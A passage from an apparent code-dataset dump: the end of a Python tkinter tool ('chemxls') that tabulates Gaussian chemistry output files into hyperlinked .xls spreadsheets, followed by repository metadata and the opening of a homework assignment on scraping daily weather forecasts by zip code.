'Path.A1' to adjust cell reference of hyperlinks formulas\"]\n\t\tself.style0 = xlwt.easyxf(\"\", \"#.0000000\")\n\tdef mv_up_selection(self):\n\t\tfor n in self.listbox_b.curselection():\n\t\t\tif n == 0: pass\n\t\t\telse:\n\t\t\t\ttext = self.listbox_b.get(n)\n\t\t\t\tself.listbox_b.delete(n)\n\t\t\t\tself.listbox_b.insert(n-1,text)\n\t\t\t\tself.listbox_b.selection_clear(0, tk.END)\n\t\t\t\tself.listbox_b.selection_set(n - 1)\n\t\t\t\tself.listbox_b.activate(n - 1)\n\n\tdef\tmv_down_selection(self):\n\t\tfor n in self.listbox_b.curselection():\n\t\t\tif n == len(self.listbox_b.get(0,tk.END))-1: pass\n\t\t\telse:\n\t\t\t\ttext = self.listbox_b.get(n)\n\t\t\t\tself.listbox_b.delete(n)\n\t\t\t\tself.listbox_b.insert(n + 1, text)\n\t\t\t\tself.listbox_b.selection_clear(0, tk.END)\n\t\t\t\tself.listbox_b.selection_set(n + 1)\n\t\t\t\tself.listbox_b.activate(n + 1)\n\n\tdef load_pref(self,name):\n\t\toption = {\"Startup\" : [\"startup_options\", \"startup_split\"  , \"startup_split_jobs\" ],\n\t\t\t\t  \"Preset A\": [\"preset_a_options\",\"preset_a_split\" , \"preset_a_split_jobs\"],\n\t\t\t\t  \"Preset B\": [\"preset_b_options\",\"preset_b_split\" , \"preset_b_split_jobs\"],\n\t\t\t\t  \"Preset C\": [\"preset_c_options\",\"preset_c_split\" , \"preset_c_split_jobs\"]\n\t\t\t\t}[name]\n\t\tself.populate_b(getattr(self.preferences,option[0])) #UIDS\n\t\tself.split_xlsx_by_ext.set(getattr(self.preferences,option[1]))\n\t\tself.split_jobs.set(getattr(self.preferences,option[2]))\n\n\tdef save_pref(self,name):\n\t\tuids = \" \".join([{a[\"long\"]: a[\"uid\"] for a in self.options}[b] for b in self.listbox_b.get(0,tk.END)])\n\t\tresult = messagebox.askyesno(title=f\"Are you sure?\",\n\t\t\t\t\t\t\t\t\t message=f\"This will assign currently selected options to {name} button!\",\n\t\t\t\t\t\t\t\t\t icon='warning')\n\t\tif not result: return\n\t\tname = {\"Startup\":\"STARTUP\",\"Preset A\":\"PRESETA\",\"Preset B\":\"PRESETB\",\"Preset C\":\"PRESETC\"}[name]\n\t\tself.preferences.set_variables(name,\"options\",uids)\n\t\tself.preferences.set_variables(name,\"splitext\", str(self.split_xlsx_by_ext.get()))\n\t\tself.preferences.set_variables(name,\"splitjobs\", str(self.split_jobs.get()))\n\tdef delete_selection(self):\n\t\tself.listbox_b.delete(tk.ACTIVE)\n\tdef move_right(self):\n\t\tself.listbox_b.insert(tk.END,self.listbox_a.get(tk.ACTIVE))\n\tdef populate_a(self,extension=\"any\"):\n\t\tself.listbox_a.delete(0,tk.END)\n\t\tif extension==\"any\":\n\t\t\tfor a in self.options:\n\t\t\t\tself.listbox_a.insert(tk.END, a[\"long\"])\n\t\telse:\n\t\t\tfor a in self.options:\n\t\t\t\tif a[\"extension\"] == extension:\n\t\t\t\t\tself.listbox_a.insert(tk.END, a[\"long\"])\n\tdef populate_b(self,uids=[]):\n\t\tself.listbox_b.delete(0,tk.END)\n\t\tfor uid in uids:\n\t\t\tself.listbox_b.insert(tk.END, {a[\"uid\"]: a[\"long\"] for a in self.options}[uid])\n\tdef rem_all(self):\n\t\tself.listbox_b.delete(0, tk.END)\n\tdef add_all(self):\n\t\tself.listbox_b.delete(0, tk.END)\n\t\tfor a in self.options: self.listbox_b.insert(tk.END, a[\"long\"])\n\n\tdef evaluate_list(self,folder, recursive=True, extensions=[],errors=set(),files=set(),base_only=False):\n\t\ttry:\n\t\t\tfor file in os.listdir(folder):\n\t\t\t\tif os.path.isdir(os.path.join(folder, file)):\n\t\t\t\t\tif recursive:\n\t\t\t\t\t\tself.evaluate_list(folder=os.path.join(folder, file),\n\t\t\t\t\t\t\t\t\t\t   recursive=recursive,\n\t\t\t\t\t\t\t\t\t\t   files=files,\n\t\t\t\t\t\t\t\t\t\t   extensions=extensions,\n\t\t\t\t\t\t\t\t\t\t   base_only=base_only,\n\t\t\t\t\t\t\t\t\t\t   errors=errors)\n\t\t\t\telif any([file.endswith(extension) for extension in extensions]):\n\t\t\t\t\tfiles.add(os.path.join(folder,os.path.splitext(file)[0] if base_only else file))\n\t\texcept PermissionError as error:\n\t\t\terrors.add(error)\n\t\tfinally:\n\t\t\treturn files,errors\n\t@lock_release\n\tdef preview_files(self):\n\t\tglobal frame_a\n\t\tfolder = frame_a.in_folder\n\t\tcond_1 = folder is None\n\t\tcond_2 = type(folder) == str and folder.strip() == \"\"\n\t\tif cond_1 or cond_2:\n\t\t\tmessagebox.showinfo(title=\"Analysis folder is not yet selected!\", message=\"Analysis won't be performed!\")\n\t\t\treturn\n\t\tassert type(folder) == str, type(folder)\n\t\tif not os.path.isdir(folder):\n\t\t\tmessagebox.showinfo(title=\"Analysis folder is not a valid path\", message=\"Analysis won't be performed!\")\n\t\t\treturn\n\t\trecursive = frame_a.recursive_analysis.get()\n\t\textensions = list(set(self.dict_options[a][-1] for a in self.listbox_b.get(0,tk.END) if a[-1] != \"any\"))\n\t\tif extensions:\n\t\t\tfiles,errors = self.evaluate_list(folder=folder, files=set(), recursive=recursive, extensions=extensions)\n\t\telse:\n\t\t\tfiles, errors = [], []\n\t\tself.pop_up_files(files,errors)\n\tdef threaded_preview(self):\n\t\tjob = threading.Thread(target=self.preview_files)\n\t\tjob.start()\n\t\tself.refresh_gui()\n\n\tdef pop_up_files(self,files,errors):\n\t\ttop_level = tk.Toplevel()\n\t\ttop_level.wm_geometry(\"1000x600\")\n\t\tscrollbar = tk.Scrollbar(top_level,orient=\"vertical\")\n\t\tlistbox = tk.Text(top_level,yscrollcommand=scrollbar.set)\n\t\ttext = \"=\" * 23 + \"THE FOLLOWING FILES WERE FOUND ON THIS DIRECTORY\" + \"=\" * 23 + \"\\n\"\n\t\tlistbox.insert(tk.INSERT,text)\n\t\ttext = \"\\n\".join([\"{:<4} {}\".format(i, trim_str(a, frame_a.str_width)) for i, a in enumerate(files)])\n\t\tlistbox.insert(tk.INSERT,text)\n\t\tif errors:\n\t\t\ttext = \"\\n\"*2 + \"=\" * 10 + \"THE FOLLOWING ERRORS WERE RAISED WHILE LOOKING FOR FILES IN THIS DIRECTORY\" + \"=\" * 10 + \"\\n\"\n\t\t\tlistbox.insert(tk.INSERT,text)\n\t\t\ttext = \"\\n\".join([\"{}\".format(a) for i, a in enumerate(errors)])\n\t\t\tlistbox.insert(tk.INSERT, text)\n\t\tlistbox.grid(column=0,row=0,sticky=\"news\")\n\t\ttop_level.grid_columnconfigure(0,weight=1)\n\t\ttop_level.grid_rowconfigure(0, weight=1)\n\t\tscrollbar.config(command=listbox.yview)\n\t\tscrollbar.grid(column=1,row=0,sticky=\"ns\")\n\n\tdef refresh_gui(self):\n\t\tself.root.update()\n\t\tself.root.after(1000, self.refresh_gui)\n\tdef threaded_xls(self):\n\t\tjob = threading.Thread(target=self.startup_gen_xls)\n\t\tjob.start()\n\t\tself.refresh_gui()\n\t@lock_release\n\tdef startup_gen_xls(self):\n\t\tglobal frame_a\n\t\tfolder = frame_a.in_folder\n\t\t# FOLDER MUST BE STRING\n\t\tcond_1 = folder is None\n\t\tcond_2 = type(folder) == str and folder.strip() == \"\"\n\t\tif cond_1 or cond_2:\n\t\t\tmessagebox.showinfo(title=\"Analysis folder is not yet selected!\", message=\"Analysis won't be performed!\")\n\t\t\treturn\n\t\tneed_supl = any([a[\"supl\"] for a in self.options if a[\"long\"] in self.listbox_b.get(0,tk.END)])\n\t\t# XLS FOLDER MUST BE PARENT OF IN_FOLDER AND SUPL_FOLDER\n\t\tparent = os.path.normpath(os.path.dirname(frame_a.xls_path))\n\t\tchild_a = os.path.normpath(frame_a.in_folder)\n\t\tchild_b = os.path.normpath(frame_a.supl_folder)\n\t\tcond_1 = not child_a.startswith(parent)\n\t\tcond_2 = not child_b.startswith(parent) and need_supl\n\t\tif cond_1 and cond_2:\n\t\t\tmessage = \".xls file must be saved on a folder that contains both suplementary files and input files \"\n\t\t\tmessage += \"(May be in subdirectories).\"\n\t\t\tmessage += \"\\nThis is to ensure that relative path hyperlinks will work properly on the resulting xls file!\"\n\t\t\tmessage += \"\\nAnalysis won't be performed!\"\n\t\t\tmessagebox.showinfo(title=\"Please chose another path scheme!\", message=message)\n\t\t\treturn\n\t\telif cond_1:\n\t\t\tmessage = \"The folder being analyzed must be contained on a subdirectory of the folder in wich the .xls file is saved.\"\n\t\t\tmessage += \"\\nThis is to ensure that relative path hyperlinks will work properly on the resulting xls file!\"\n\t\t\tmessage += \"\\nAnalysis won't be performed!\"\n\t\t\tmessagebox.showinfo(title=\"Please chose another path scheme!\", message=message)\n\t\t\treturn\n\t\telif cond_2:\n\t\t\tmessage  = \"The suplementary data folder must be contained on a subdirectory of the folder in wich the .xls file is saved.\"\n\t\t\tmessage += \"\\nThis is to ensure that relative path hyperlinks will work properly on the resulting xls file!\"\n\t\t\tmessage += \"\\nAnalysis won't be performed!\"\n\t\t\tmessagebox.showinfo(title=\"Please chose another path scheme!\", message=message)\n\t\t\treturn\n\t\t# IN_PATH MUST EXIST\n\t\tif not os.path.isdir(folder):\n\t\t\tmessagebox.showinfo(title=\"Analysis folder does not exist!\",\n\t\t\t\t\t\t\t\tmessage=\"Analysis won't be performed!\")\n\t\t\treturn\n\n\t\t# IDEALY SUPL_FOLDER SHOULD NOT EXIST\n\t\tif os.path.isdir(child_b) and need_supl:\n\t\t\tmessage=\"Do you want to overwrite files on the following directory?\\n{}\".format(child_b)\n\t\t\tresult=messagebox.askyesno(title=\"Suplementary file directory already exists!\", message=message,icon='warning')\n\t\t\tif not result: return\n\n\t\t# IDEALY SUPL_FOLDER BASE DIRECTORY SHOULD EXIST\n\t\tif not os.path.isdir(os.path.dirname(child_b)) and need_supl:\n\t\t\tmessage=\"Suplementary file directory parent directory does not exists!\\nAnalysis won't be performed!\\n\"\n\t\t\tmessagebox.showinfo(title=\"Parent directory does not exist!\", message=message)\n\t\t\treturn\n\n\t\t# IDEALY XLS SHOULD NOT EXIST\n\t\tif os.path.isfile(frame_a.xls_path):\n\t\t\tmessage  = \"Do you want to overwrite the following file?\\n{}\".format(frame_a.xls_path)\n\t\t\tmessage += \"\\nMoreover, if you want to overwrite it, make sure this file is not opened by another program before you proced.\"\n\t\t\tresult = messagebox.askyesno(title=\".xls file already exists!\", message=message,icon='warning')\n\t\t\tif not result: return\n\t\t# PARENT DIRECTORY XLS SHOULD EXIST\n\t\tif not os.path.isdir(os.path.dirname(frame_a.xls_path)):\n\t\t\tmessagebox.showinfo(title=\".xls parent directory does not exist!\",\n\t\t\t\t\t\t\t\tmessage=\"Analysis won't be performed!\")\n\t\t\treturn\n\n\t\trecursive = frame_a.recursive_analysis.get()\n\t\textensions = list(set(self.dict_options[a][-1] for a in self.listbox_b.get(0,tk.END) if a[-1] != \"any\"))\n\n\t\tif extensions:\n\t\t\tbasenames, _ = self.evaluate_list(folder=folder, recursive=recursive,files=set(), extensions=extensions, base_only=True)\n\t\telse:\n\t\t\tbasenames, _ = [], []\n\t\tself.progress[\"value\"] = 0\n\t\tself.progress_label.set(\"Analyzing {} file basenames...\".format(len(basenames)))\n\t\tcsv_list = []\n\t\tcsv_generator = self.analysis_generator(basenames,extensions)\n\t\taux_files_needed = [\"LG\", \"MulkSpinDens\", \"LastIntCoord\", \"MulkCharges\",\n\t\t\t\t\t\t\t\"ESPCharges\", \"POPAnalysis\", \"NPAAnalysis\", \"APTCharges\"]\n\t\tfor file in csv_generator:\n\t\t\tfor request in self.listbox_b.get(0,tk.END):\n\t\t\t\tkey = self.dict_options[request][0]\n\t\t\t\tif key in aux_files_needed:\n\t\t\t\t\tif not file[key] or file[key] == \"-\": continue\n\t\t\t\t\tfilename = \"_\".join([file[\"Filename\"],str(file[\"Link1\"]),key+\".txt\"])\n\t\t\t\t\tfilename = os.path.join(frame_a.supl_folder,file[\"rel_path\"],filename)\n\t\t\t\t\ttry:\n\t\t\t\t\t\tos.makedirs(os.path.dirname(filename), exist_ok=True)\n\t\t\t\t\t\tassert type(file[key]) == str\n\t\t\t\t\t\twith open(filename, \"w\") as f:\n\t\t\t\t\t\t\tf.write(file[key])\n\t\t\t\t\texcept FileExistsError:\n\t\t\t\t\t\tprint(\"Error while creating the following file:\")\n\t\t\t\t\t\tprint(filename)\n\t\t\t\t\t\tprint(\"File already exists!\")\n\t\t\t\t\tfinally:\n\t\t\t\t\t\tfile.update({key: self.mk_hyperlink(filename)})\n\t\t\tcsv_list.append(file.copy())\n\t\tself.progress[\"value\"] = 100\n\t\tself.progress_label.set(\"Saving xls file...\")\n\t\ttime.sleep(0.1)\n\t\tcsv_list.sort(key=lambda x: os.path.join(x[\"rel_path\"], x[\"Filename\"]))\n\t\tif self.split_xlsx_by_ext.get():\n\t\t\tself.gen_xls_single_ext(csv_list)\n\t\telse:\n\t\t\tself.gen_xls_normal(csv_list)\n\t\tself.progress_label.set(\"Done! Please look up: {}\".format(trim_str(frame_a.xls_path,frame_a.str_width-50)))\n\t\ttime.sleep(0.1)\n\tdef gen_xls_single_ext(self,csv_list):\n\t\tglobal frame_a\n\t\twb = Workbook()\n\t\tused_extensions = list(dict.fromkeys(self.extension_dict[b] for b in self.used_short_titles))\n\t\tx = self.used_short_titles\n\t\tdata_sheets = []\n\t\tif sum(a[\"Link1\"] for a in csv_list) != 0:\n\t\t\tx.insert(0, \"Link1\")\n\t\tfor ext in used_extensions:\n\t\t\tif ext ==\"any\":continue\n\t\t\tsheet1 = wb.add_sheet(\"Data {}\".format(ext))\n\t\t\tfor i_b, b in enumerate(y for y in x if self.extension_dict[y] in [\"any\",ext]):\n\t\t\t\tsheet1.write(0, i_b, b)\n\t\t\tfiltered_csv_list = csv_list if ext == \".log\" else [a for a in csv_list if a[\"Link1\"]==0]\n\t\t\tdata_sheets.append([sheet1,ext,filtered_csv_list])\n\t\tsheet2 = wb.add_sheet('Labels')\n\t\tfor i_b, b in enumerate(x):\n\t\t\tsheet2.write(i_b, 0, b)\n\t\t\tsheet2.write(i_b, 1, self.label_dict[b])\n\t\t# TODO Exception: Formula: unknown sheet name Path\n\t\tsheet3 = wb.add_sheet('Path')\n\t\tfor i, a in enumerate(self.path_sheet): sheet3.write(i, 0, a)\n\t\tfor sheet1,ext,filtered_csv_list in data_sheets:\n\t\t\tfor i_a, a in enumerate(filtered_csv_list, start=1):\n\t\t\t\tfor i_b, b in enumerate(y for y in x if self.extension_dict[y] in [\"any\",ext]):\n\t\t\t\t\targs = self.sheet_write_args(i_a,i_b,a,b)\n\t\t\t\t\tsheet1.write(*args)\n\n\t\tself.save_xls(wb)\n\tdef sheet_write_args(self,i_a,i_b,a,b):\n\t\tif b ==\"Link1\":\n\t\t\treturn [i_a, i_b, str(a[b]+1)]\n\t\telif b in self.need_style0 and is_str_float(a[b]):\n\t\t\treturn [i_a, i_b, float(a[b]), self.style0]\n\t\telif b in self.need_formula and a[b] not in [None, \"-\"]:\n\t\t\treturn [i_a, i_b, xlwt.Formula(a[b])]\n\t\telif b in self.need_formula and a[b] in [None, \"-\"]:\n\t\t\treturn [i_a, i_b, \"-\"]\n\t\telse:\n\t\t\treturn [i_a, i_b, a[b]]\n\n\tdef gen_xls_normal(self,csv_list):\n\t\tglobal frame_a\n\t\twb = Workbook()\n\t\tsheet1 = wb.add_sheet('Data')\n\t\tsheet2 = wb.add_sheet('Labels')\n\t\tsheet3 = wb.add_sheet('Path')\n\t\tfor i,a in enumerate(self.path_sheet): sheet3.write(i,0,a)\n\t\tx = self.used_short_titles\n\t\tif sum(a[\"Link1\"] for a in csv_list) != 0:\n\t\t\tx.insert(0,\"Link1\")\n\t\tfor i_b, b in enumerate(x):\n\t\t\tsheet2.write(i_b, 0, b)\n\t\t\tsheet2.write(i_b, 1, self.label_dict[b])\n\t\tfor i_b, b in enumerate(x):\n\t\t\tsheet1.write(0, i_b, b)\n\t\tfor i_a, a in enumerate(csv_list, start=1):\n\t\t\tfor i_b, b in enumerate(x):\n\t\t\t\targs = self.sheet_write_args(i_a, i_b, a, b)\n\t\t\t\tsheet1.write(*args)\n\n\t\tself.save_xls(wb)\n\tdef save_xls(self,wb):\n\t\tglobal frame\n\t\twhile True:\n\t\t\ttry:\n\t\t\t\twb.save(frame_a.xls_path)\n\t\t\t\tbreak\n\t\t\texcept PermissionError:\n\t\t\t\tresult = messagebox.askyesno(title=\"Error while saving xls file!\",\n\t\t\t\t\t\t\t\t\tmessage=\"It appears the following file is already open:\\n{}\\nDo you want to retry to overwrite it?\\n(Please close the file before retrying)\".format(frame_a.xls_path))\n\t\t\t\tif not result: break\n\tdef analysis_generator(self,basenames,extensions):\n\t\tfor i,a in enumerate(basenames):\n\t\t\tself.progress[\"value\"] = int(i / len(basenames) * 100)\n\t\t\tfor file_dict in  self.evaluate_file(a,extensions):\n\t\t\t\tyield file_dict\n\tdef mk_hyperlink(self,x, y=\"Link\"):\n\t\tglobal frame_a\n\t\txls_path = os.path.dirname(frame_a.xls_path)\n\t\treturn 'HYPERLINK(IF(Path!A1=\"abs\";\"{}\";\"{}\");\"{}\")'.format(x, (os.path.relpath(x, xls_path)), y)\n\tdef evaluate_file(self,a,extensions):\n\t\tglobal frame_a\n\t\tx = self.used_short_titles\n\t\trow = {\"Link1\":0}\n\t\trow.update({a: \"-\" for a in x})\n\t\tprint_exception = lambda e,a: print(f\"Error:\\n{e}\\nOn file:\\n{a}\")\n\t\tup = lambda a: row.update(a)\n\t\tfile_isfile = lambda name,ext: [y := os.path.normpath(name+ext),os.path.isfile(y)]\n\n\t\t# BLANK\n\t\tif (n:=\"Blank\"         ) in x: up({n:\" \"        })\n\t\tif (n:=\"Eh to kcal/mol\") in x: up({n:\"627.5095\" })\n\t\tif (n:=\"Eh to kJ/mol\"  ) in x: up({n:\"2625.5002\"})\n\n\t\t#FILE PROPERTIES\n\t\tup({\"Filename\":os.path.basename(a)})\n\n\t\t#FOLDER PROPERTIES\n\t\tfold_name = os.path.dirname(a)\n\t\tup({\"rel_path\":os.path.relpath(fold_name, frame_a.in_folder)})\n\t\tif (n:=\"Folder\") in x: up({n: self.mk_hyperlink(fold_name,row[\"rel_path\"])})\n\n\t\t# XYZ PROPERTIES\n\t\tif (ext:=\".xyz\") in extensions:\n\t\t\tfilename, is_file = file_isfile(a,ext)\n\t\t\tup({\".xyz\":self.mk_hyperlink(filename) if is_file else None})\n\n\t\t#INPUT PROPERTIES .GJF\n\t\tif (ext:=\".gjf\") in extensions:\n\t\t\tfilename, is_file = file_isfile(a,ext)\n\t\t\tif (n:= \".gjf\" ) in x: up({n: self.mk_hyperlink(filename) if is_file else None})\n\t\t\tif (n:=\".gjf_#\") in x:\n\t\t\t\tinp = GjfFile(read_item(filename)) if is_file else False\n\t\t\t\tup({n:inp.route_text() if inp else \"-\"})\n\n\t\t#INPUT PROPERTIES .COM\n\t\tif (ext:=\".com\") in extensions:\n\t\t\tfilename, is_file = file_isfile(a, ext)\n\t\t\tif (n:=\".com\") in x: up({n: self.mk_hyperlink(filename) if is_file else None})\n\t\t\tif (n:=\".com_#\") in x:\n\t\t\t\tinp = GjfFile(read_item(filename)) if is_file else False\n\t\t\t\tup({n: inp.route_text() if inp else \"-\"})\n\n\t\t#INP PROPERTIES\n\t\tif (ext:=\".inp\") in extensions:\n\t\t\tfilename, is_file = file_isfile(a, ext)\n\t\t\tif (n:=\".inp\") in x: up({n: self.mk_hyperlink(filename) if is_file else None})\n\n\t\t#OUT PROPERTIES\n\t\tif (ext:=\".out\") in extensions:\n\t\t\tfilename, is_file = file_isfile(a, ext)\n\t\t\tif (n:=\".out\") in x: up({n: self.mk_hyperlink(filename) if is_file else None})\n\n\t\t#LOG PROPERTIES\n\t\tif (ext:=\".log\") in extensions:\n\t\t\tfilename, is_file = file_isfile(a, ext)\n\t\t\tif (n:=\".log\") in x: up({n: self.mk_hyperlink(filename) if is_file else None})\n\t\t\tother_log_properties = []\n\t\t\tfor a in self.listbox_b.get(0,tk.END):\n\t\t\t\tif self.dict_options[a][-1] == \".log\":\n\t\t\t\t\tif self.dict_options[a][0] != \".log\":\n\t\t\t\t\t\tother_log_properties.append(self.dict_options[a][0])\n\t\t\tif other_log_properties and is_file:\n\t\t\t\tlogs = [LogFile(read_item(filename),self.split_jobs.get()) if is_file else False]\n\t\t\t\twhile True:\n\t\t\t\t\tif hasattr(logs[-1],\"link_one\"): logs.append(getattr(logs[-1],\"link_one\"))\n\t\t\t\t\telse: break\n\t\t\t\t#print(logs)\n\t\t\t\tfor i,b in enumerate(logs):\n\t\t\t\t\tif i > 0:\n\t\t\t\t\t\tyield row\n\t\t\t\t\t\tup({a[1]: \"-\" for a in other_log_properties})\n\t\t\t\t\t\tup({\"Link1\":i})\n\t\t\t\t\t#try:\n\t\t\t\t\tif (n:=\".log_#\"           )in x: up({n: b.raw_route if b.raw_route else \"-\"})\n\t\t\t\t\tif (n:=\"E0\"               )in x: up({n: b.scf_done[-1][-1] if b.scf_done else \"-\"})\n\t\t\t\t\tif (n:=\"iFreq\"            )in x: up({n: b.last_freq.n_ifreq() if b.last_freq else \"-\"})\n\t\t\t\t\tif (n:=\"E_ZPE\"            )in x: up({n: b.thermal[0] if b.thermal[0] else \"-\"})\n\t\t\t\t\tif (n:=\"E_tot\"            )in x: up({n: b.thermal[1] if b.thermal[1] else \"-\"})\n\t\t\t\t\tif (n:=\"H_corr\"           )in x: up({n: b.thermal[2] if b.thermal[2] else \"-\"})\n\t\t\t\t\tif (n:=\"G_corr\"           )in x: up({n: b.thermal[3] if b.thermal[3] else \"-\"})\n\t\t\t\t\tif (n:=\"E0+E_ZPE\"         )in x: up({n: b.thermal[4] if b.thermal[4] else \"-\"})\n\t\t\t\t\tif (n:=\"E0+E_tot\"         )in x: up({n: b.thermal[5] if b.thermal[5] else \"-\"})\n\t\t\t\t\tif (n:=\"E0+H_corr\"        )in x: up({n: b.thermal[6] if b.thermal[6] else \"-\"})\n\t\t\t\t\tif (n:=\"E0+G_corr\"        )in x: up({n: b.thermal[7] if b.thermal[7] else \"-\"})\n\t\t\t\t\tif (n:=\"Done?\"            )in x: up({n: \"Yes\" if b.normal_termin else \"No\"})\n\t\t\t\t\tif (n:=\"Error\"            )in x: up({n: b.error_msg if b else \"-\"})\n\t\t\t\t\tif (n:=\"HOMO\"             )in x: up({n: b.homo[-1] if b.homo else \"-\"})\n\t\t\t\t\tif (n:=\"LUMO\"             )in x: up({n: b.lumo[-1] if b.homo else \"-\"})\n\t\t\t\t\tif (n:=\"HOMO-LUMO\"        )in x: up({n: b.homolumo[-1] if b.homolumo else \"-\"})\n\t\t\t\t\tif (n:=\"Charge\"           )in x: up({n: b.charge_mult[0] if b.charge_mult else \"-\"})\n\t\t\t\t\tif (n:=\"Mult\"             )in x: up({n: b.charge_mult[1] if b.charge_mult else \"-\"})\n\t\t\t\t\tif (n:=\"n_SCF\"            )in x: up({n: len(b.scf_done) if b.scf_done else \"-\"})\n\t\t\t\t\tif (n:=\"n_atoms\"          )in x: up({n: b.n_atoms if b.n_atoms else \"-\"})\n\t\t\t\t\tif (n:=\"TYP\"              )in x: up({n: b.calc_type if b.calc_type else \"-\"})\n\t\t\t\t\tif (n:=\"Needs refinement?\")in x: up({n: b.needs_ref()})\n\t\t\t\t\tif (n:=\"S**2 BA\"          )in x: up({n: b.s_squared[-1][1] if b.s_squared else \"-\"})\n\t\t\t\t\tif (n:=\"S**2 After\"       )in x: up({n: b.s_squared[-1][2] if b.s_squared else \"-\"})\n\t\t\t\t\tif (n:=\"LG\"               )in x: up({n: \"\\n\".join(b.last_xyz_obj().return_print()) if b.last_xyz_obj() else None})\n\t\t\t\t\tif (n:=\"MulkSpinDens\"     )in x: up({n: b.last_muliken_spin_density})\n\t\t\t\t\tif (n:=\"LastIntCoord\"     )in x: up({n: b.last_internal_coord })\n\t\t\t\t\tif (n:=\"MulkCharges\"      )in x: up({n: b.last_muliken_charges})\n\t\t\t\t\tif (n:=\"ESPCharges\"       )in x: up({n: b.last_chelpg_charges })\n\t\t\t\t\tif (n:=\"POPAnalysis\"      )in x: up({n: b.pop_analysis        })\n\t\t\t\t\tif (n:=\"NPAAnalysis\"      )in x: up({n: b.npa_analysis        })\n\t\t\t\t\tif (n:=\"APTCharges\"       )in x: up({n: b.last_apt_charges    })\n\t\t\t\t\t#except Exception as e:\n\t\t\t\t\t#\tprint_exception(e,b)\n\t\t\t\t\t#finally:\n\t\t\t\t\t#\tpass\n\t\t\t\t\t\t#print(row)\n\t\tyield row\n\tdef _used_short_titles(self):\n\t\treturn [self.dict_options[a][0] for a in self.listbox_b.get(0, tk.END)]\n\tused_short_titles = property(_used_short_titles)\n\n\n#GUI CREATION\nroot = tk.Tk()\nroot.title(\"chemxls v0.0.1\")\n\nroot_row = 0\nroot.grid_columnconfigure(0,weight=1)\nframe_a = FileFolderSelection(root)\nframe_a.grid(column=0,row=root_row,sticky=\"news\",padx=\"5\")\nroot_row += 1\n\nframe_b = ListBoxFrame(root)\nframe_b.grid(column=0,row=root_row,sticky=\"news\",padx=\"5\")\nroot.grid_rowconfigure(root_row,weight=1)\nroot_row += 1\n\nw, h = 925 if sys.platform == \"win32\" or os.name == \"nt\" else 1000, 685\nws = root.winfo_screenwidth()  # width of the screen\nhs = root.winfo_screenheight()  # height of the screen\nroot.minsize(w, h)\nroot.maxsize(ws, hs)\nx = int(ws / 2 - w / 2)\ny = int(hs / 2 - h / 2)\nroot.geometry(f\"{w}x{h}+{x}+{y}\")\n\nroot.mainloop()\n", "meta": {"hexsha": "baf0a39d25f95486f7c0c8a087128d68a893c131", "size": 98897, "ext": "py", "lang": "Python", "max_stars_repo_path": "chemxls/__main__.py", "max_stars_repo_name": "ricalmang/chemxls", "max_stars_repo_head_hexsha": "95348278acf460548df865394d5916675f89c5ab", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 13, "max_stars_repo_stars_event_min_datetime": "2021-02-10T02:25:56.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-06T15:24:32.000Z", "max_issues_repo_path": "chemxls/__main__.py", "max_issues_repo_name": "ricalmang/chemxls", "max_issues_repo_head_hexsha": "95348278acf460548df865394d5916675f89c5ab", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "chemxls/__main__.py", "max_forks_repo_name": "ricalmang/chemxls", "max_forks_repo_head_hexsha": "95348278acf460548df865394d5916675f89c5ab", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 3, "max_forks_repo_forks_event_min_datetime": "2021-03-04T21:38:33.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-01T09:38:00.000Z", "avg_line_length": 50.0744303797, "max_line_length": 177, "alphanum_fraction": 0.6438516841, "include": true, "reason": "import numpy", "num_tokens": 29880, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5039061705290805, "lm_q2_score": 0.17553807146686687, "lm_q1q2_score": 0.08845471737492894}}
{"text": "# -*- coding: utf-8 -*-\n# The line above is used when I need to run this file as a shell script, as a cron job\n\n#%%[markdown]\n#\n# # HW Web Scraping\n# ## Calling on all Weather enthusiasts\n\n# Reference : class file WS_sample_Stock.py\n#\n# Okay, I want to collect weather info for my family living at different zip codes. \n# Feel free to replace the zipcode list with your favorites. \n# \n# Ideally, I can put the codes on pythonanywhere.com,  \n# so that it can be set as a cron job on a reliable server \n# instead of on my own laptop.  \n# As we did in class, we can use weather.gov to get the weather info \n# for the different zip codes. But the way that website is designed, \n# we cannot encode the zip code into the url. So we used \n# selenium to automate. But we cannot install selenium on \n# pythonanywhere.com. That is using too much resources on the public server.\n# \n# Good thing there are so many options out there. I found \n# [this site](url = 'https://www.wunderground.com/weather/us/dc/20052') works okay.\n# \n# Now, get the codes to work, with a list of 10 zip codes with the state abbreviation \n# ( so the list/tuple should looks like this: ('dc/20052' , 'ny/10001' , 'ca/90210' , ... ) ), \n# automatically pull the forecast temperature high and low for the day \n# at 6am at our Washington-DC time? \n# The stock portfolio example (WS_sample_Stock.py) in class is adaptable to \n# handle this task. \n# \n# Have the codes tested and working on your computer. If you are interested, you can \n# deploy it pythonanhywhere.com. I can show you how. Deploying to pythonanywhere.com is \n# an optional exercise. Simply run your \n# codes on your computer for a few days, or 2-3 times a day to get \n# the temp info at different times to make sure it works. \n# # The csv file will eventually looks like this\n# Date,dc/20052,ny/10001,ca/90210,nj/07069,va/22207,il/60007,tx/77001,az/85001,pa/19019,tx/78006\n# 2022-03-03,53\u00b0 | 34\u00b0,50\u00b0 | 34\u00b0,--\u00b0 | 53\u00b0,51\u00b0 | 29\u00b0,53\u00b0 | 34\u00b0,30\u00b0 | 22\u00b0,74\u00b0 | 56\u00b0,71\u00b0 | 49\u00b0,53\u00b0 | 32\u00b0,71\u00b0 | 51\u00b0\n# 2022-03-02,53\u00b0 | 52\u00b0,73\u00b0 | 39\u00b0,68\u00b0 | --\u00b0,62\u00b0 | 32\u00b0,48\u00b0 | 31\u00b0,40\u00b0 | 25\u00b0,69\u00b0 | 52\u00b0,72\u00b0 | 52\u00b0,65\u00b0 | 37\u00b0,66\u00b0 | 56\u00b0\n# 2022-03-01,53\u00b0 | 35\u00b0,49\u00b0 | 34\u00b0,--\u00b0 | 53\u00b0,51\u00b0 | 29\u00b0,52\u00b0 | 34\u00b0,30\u00b0 | 21\u00b0,74\u00b0 | 55\u00b0,--\u00b0 | 47\u00b0,53\u00b0 | 32\u00b0,71\u00b0 | 51\u00b0\n# \n# Some of the temperatures might come up as --\u00b0, which is fine. Don't worry about 